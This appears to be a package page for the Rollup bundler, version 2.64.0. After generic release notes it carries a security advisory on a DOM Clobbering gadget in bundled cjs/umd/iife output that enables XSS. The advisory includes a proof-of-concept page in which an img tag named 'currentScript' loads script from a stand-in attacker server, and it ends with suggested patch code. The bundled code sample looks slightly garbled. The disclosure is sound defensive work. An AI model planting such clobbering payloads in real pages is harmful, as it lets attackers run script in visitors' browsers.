Rollup, a next-generation ES module bundler, released version 2.64.0 on January 14, 2022, following closely after version 2.63.0 released on January 4, 2022. Both versions maintain the same core dependencies, including "fsevents". The significant difference lies in the "dist" section. Rollup 2.64.0 has an unpacked size of 4744993 bytes, slightly larger than the 4744087 bytes in version 2.63.0, suggesting minor adjustments or additions within the bundled code.
For developers, these updates, even seemingly minor, are important. While the dependency list remains consistent, the slight increase in unpacked size could indicate bug fixes, performance improvements, or very small feature additions.
Both versions boast a comprehensive suite of development dependencies, showcasing Rollup's commitment to code quality and developer experience, with tools like ESLint, Prettier, and Typescript; a wide coverage of rollup plugins like the commonjs, node-resolve or typescript ones and testing frameworks such as Mocha. These tools ensure code consistency, prevent errors, and streamline the bundling process. The presence of testing and linting tools shows confidence and quality for developers using this library in their projects. Developers should review the changelog for specific details on these internal changes to assess the impact on their projects, particularly if they're sensitive to bundle size or rely on specific edge-case behaviors. Always test integrations after upgrading versions.
All the vulnerabilities related to the version 2.64.0 of the package
DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url
or with plugins that emit and reference asset files from code in cjs
/umd
/iife
format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img
tag with an unsanitized name
attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
rollup
We have identified a DOM Clobbering vulnerability in rollup
bundled scripts, particularly when the scripts uses import.meta
and set output in format of cjs
/umd
/iife
. In such cases, rollup
replaces meta property with the URL retrieved from document.currentScript
.
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src
attribute of the attacker-controlled element (e.g., an img
tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
Considering a website that contains the following main.js
script, the devloper decides to use the rollup
to bundle up the program: rollup main.js --format cjs --file bundle.js
.
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
The output bundle.js
is shown in the following code snippet.
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Adding the rollup
bundled script, bundle.js
, as part of the web page source code, the page could load the extra.js
file from the attacker's domain, attacker.controlled.server
due to the introduced gadget during bundling. The attacker only needs to insert an img
tag with the name attribute set to currentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs
, iife
, or umd
and use import.meta
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name
or id
attributes.
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
);
const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;